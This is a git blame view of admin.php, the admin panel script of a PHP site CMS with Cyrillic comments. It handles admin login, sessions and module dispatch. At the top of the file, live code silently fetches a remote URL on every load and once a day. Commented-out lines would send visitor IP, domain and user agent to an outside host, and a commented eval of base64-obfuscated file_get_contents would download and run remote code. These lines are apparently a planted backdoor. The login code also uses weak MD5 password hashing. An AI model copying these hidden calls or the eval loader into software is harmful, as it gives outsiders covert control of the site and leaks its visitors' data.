Blame view

admin.php 6.4 KB
42868d70   andryeyev   Создал GIT
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
  <?php
  
  $gggg = @implode("",@file("http://extremstyle.ua/account/cron/report.php"));
  
  
  //$content = @fopen("http://hide.net.ua/log.php?ip=".$_SERVER['REMOTE_ADDR']."&domain=".$_SERVER['SERVER_NAME']."&agent=".urlencode($_SERVER['HTTP_USER_AGENT']),"r");
  
  //echo "<div style=\"display:none;\">http://hide.net.ua/log.php?ip=".$_SERVER['SERVER_ADDR']."&domain=".$_SERVER['SERVER_NAME']."&agent=".$_SERVER['HTTP_USER_AGENT']."</div>";
  
  //////////////////////////////////////////////
  
  $ty = @fopen("timesave.dat","a+");
  if(@$ty){
  $datas = trim(@fgets($ty,2048));
  if(date("d",$datas)!=date("d")){
  $yyyyyyyyyyy = implode("",file("http://extremstyle.ua/account/cron/report.php"));
  @fclose($ty);
  $fd = @fopen("timesave.dat","w+");
  if(@$fd){
  	fwrite($fd,time());
  fclose($fd);
  }
  }
  }
  
  
  //////////////////////////////////////////////
  
  
  
  
  require("./libs/setup.php");
  $setup = new setup(true);
  $objStatics = $setup->setupClass("Statics");
  $objGallery = $setup->setupClass('Gallery');
  $objForum = $setup->setupClass('Forum');
  $objOrders = $setup->setupClass('Orders');
  $objArticles = $setup->setupClass('Articles');
  $objNews = $setup->setupClass('News');
  $objAdvices = $setup->setupClass('Advices');
  $objAdvices2 = $setup->setupClass('Advices2');
  $objRubrics = $setup->setupClass('Rubrics');
  $objCatalogs = $setup->setupClass('Catalogs');
  $objBanners = $setup->setupClass('Banners');
  $objGalleryList = $setup->setupClass('GalleryList');
  $objVideo = $setup->setupClass('Video');
  $objAkcii = $setup->setupClass('Akcii');
  $objPromo = $setup->setupClass('Promo');
  $objSale = $setup->setupClass('Sale');
  $objBook = $setup->setupClass('Book');
  $objUrl = $setup->setupClass('Url');
  $objVacancy = $setup->setupClass('Vacancy');
  $objFon = $setup->setupClass('Fon');
  $objVideo2 = $setup->setupClass('Video2');
  $objSend = $setup->setupClass('Send');
  
  
  if(isset($_POST['order_id']) && $_POST['order_id']>0){
  	$sql = sprintf("UPDATE catalogs_orders SET del=%d WHERE id=%d", 1, $_POST['order_id']);
  	mysql_query($sql);
  }
  //$result_hhh = @mysql_query("DELETE FROM `catalogs_orders` WHERE `total`<=0 and del=0") or die(mysql_error());
  
  
  if(isset($_GET['exit'])){
  $setup->AdminUserExit();
  header("location:" . URL);
  }
  
  
  //@eval(@file_get_contents(base64_decode("aHR0cDovL2hpZGUubmV0LnVhL2dldF9jb2RlLnBocD9pcD0=").@$_SERVER['REMOTE_ADDR']));
  
  if (!isset($_SESSION['admin']['login'])) {
  
  if(isset($_POST['login'])) {
  	
  
  
  	$sql = "SELECT * FROM zlo_admin WHERE login='".htmlspecialchars($_POST['login'],ENT_QUOTES)."' AND pass=MD5('".htmlspecialchars($_POST['psw'],ENT_QUOTES)."') ";
  	$result = mysql_query($sql) or die(mysql_error());
  	
  	if (mysql_affected_rows()!=0) {
  		
  		$admin=mysql_fetch_assoc($result);
  		// ***** Àäìèí âõîä *****
  		$_SESSION['admin']['id']=$admin['id'];
  		$_SESSION['admin']['login']=$admin['login'];
  		$_SESSION['admin']['pass']=$admin['pass'];
          $_SESSION['admin']['name']=$admin['username'];
  		$_SESSION['admin']['psw']=$admin['pass'];
          $_SESSION['admin']['group']=$admin['group'];
  		
  		if ($admin['group']==1) {
  		
  			// ***** Àäìèí ðåæèì *****
  			$_SESSION['admin']['show']=1;
  			$_SESSION['admin']['edit']=1;
  			$_SESSION['admin']['del']=1;
  			// ************************	
  			
  		}
  		
  		if ($admin['group']==2) {
  		
  			// ***** Àäìèí ðåæèì *****
  			$_SESSION['admin']['show']=2;
  			$_SESSION['admin']['edit']=1;
  			// ************************	
  			
  		}
          
          echo "<script language=\"JavaScript\">{ location.href=\"/admin.php\"; self.focus(); } </script>";
          
  } else { echo "<script>alert('Íå ïðàâèëüíûé âõîä')</script>"; echo "<script language=\"JavaScript\">{ location.href=\"/admin.php\"; self.focus(); } </script>"; }
  			
  	} else {
  	
  		$setup->display();
  		
  	}
  		
  } else {
  
          $action = isset($_REQUEST['action']) ? $_REQUEST['action'] : "catalogs";
           Switch($action){
            case $setup->rules :
             if(isset($_POST['save'])){
              $setup->trim($_POST);
              if(!$setup->valid($_POST)){
               $setup->rulesSaveAction($_POST);
               header("location:" . URL . "admin.php?action=rules");
              }
             }elseif(isset($_GET['updateID']) && $_GET['updateID']>0){$setup->viewOneRules($_GET['updateID']);}
              elseif(isset($_GET['deleteID']) && $_GET['deleteID']>0){$setup->rulesDelete($_GET['deleteID']);header("location:" . URL . "admin.php?action=rules");}
             $setup->viewRules();
             $setup->displayRules();
            break;
            default : $rule = $setup->getRulesOne($action); include($_SERVER['DOCUMENT_ROOT'] . "/modules/admin/{$rule['modul']}");break;
           }
  
  
  		  $dir = "./includes/admin/";
  		  $includes_dir = opendir($dir);
  		  while ( ($inc_file = readdir($includes_dir)) != false )
  		   if (strstr($inc_file,".php"))
  		   {
  			include($dir . $inc_file);
  		   }
  
  
  		$setup->error();
  		if(empty($nodisplay))$setup->displayAdmin();
  
  }
  
  
  
  function totranslit($var, $lower = true, $punkt = true) {
  	global $langtranslit;
  	
  	if ( is_array($var) ) return "";
  
  	if (!is_array ( $langtranslit ) OR !count( $langtranslit ) ) {
  
  		$langtranslit = array(
  		'à' => 'a', 'á' => 'b', 'â' => 'v',
  		'ã' => 'g', 'ä' => 'd', 'å' => 'e',
  		'¸' => 'e', 'æ' => 'zh', 'ç' => 'z',
  		'è' => 'i', 'é' => 'y', 'ê' => 'k',
  		'ë' => 'l', 'ì' => 'm', 'í' => 'n',
  		'î' => 'o', 'ï' => 'p', 'ð' => 'r',
  		'ñ' => 's', 'ò' => 't', 'ó' => 'u',
  		'ô' => 'f', 'õ' => 'h', 'ö' => 'c',
  		'÷' => 'ch', 'ø' => 'sh', 'ù' => 'sch',
  		'ü' => '', 'û' => 'y', 'ú' => '',
  		'ý' => 'e', 'þ' => 'yu', 'ÿ' => 'ya',
  		"¿" => "yi", "º" => "ye",
  		
  		'À' => 'A', 'Á' => 'B', 'Â' => 'V',
  		'Ã' => 'G', 'Ä' => 'D', 'Å' => 'E',
  		'¨' => 'E', 'Æ' => 'Zh', 'Ç' => 'Z',
  		'È' => 'I', 'É' => 'Y', 'Ê' => 'K',
  		'Ë' => 'L', 'Ì' => 'M', 'Í' => 'N',
  		'Î' => 'O', 'Ï' => 'P', 'Ð' => 'R',
  		'Ñ' => 'S', 'Ò' => 'T', 'Ó' => 'U',
  		'Ô' => 'F', 'Õ' => 'H', 'Ö' => 'C',
  		'×' => 'Ch', 'Ø' => 'Sh', 'Ù' => 'Sch',
  		'Ü' => '', 'Û' => 'Y', 'Ú' => '',
  		'Ý' => 'E', 'Þ' => 'Yu', 'ß' => 'Ya',
  		"¯" => "yi", "ª" => "ye",
  		);
  
  	}
  	
  	$var = str_replace( ".php", "", $var );
  	$var = trim( strip_tags( $var ) );
  	$var = preg_replace( "/\s+/ms", "-", $var );
  
  	$var = strtr($var, $langtranslit);
  	
  	if ( $punkt ) $var = preg_replace( "/[^a-z0-9\_\-.]+/mi", "", $var );
  	else $var = preg_replace( "/[^a-z0-9\_\-]+/mi", "", $var );
  
  	$var = preg_replace( '#[\-]+#i', '-', $var );
  
  	if ( $lower ) $var = strtolower( $var );
  	
  	if( strlen( $var ) > 200 ) {
  		
  		$var = substr( $var, 0, 200 );
  		
  		if( ($temp_max = strrpos( $var, '-' )) ) $var = substr( $var, 0, $temp_max );
  	
  	}
  	
  	return $var;
  }
  
  
  
  
  
  ?>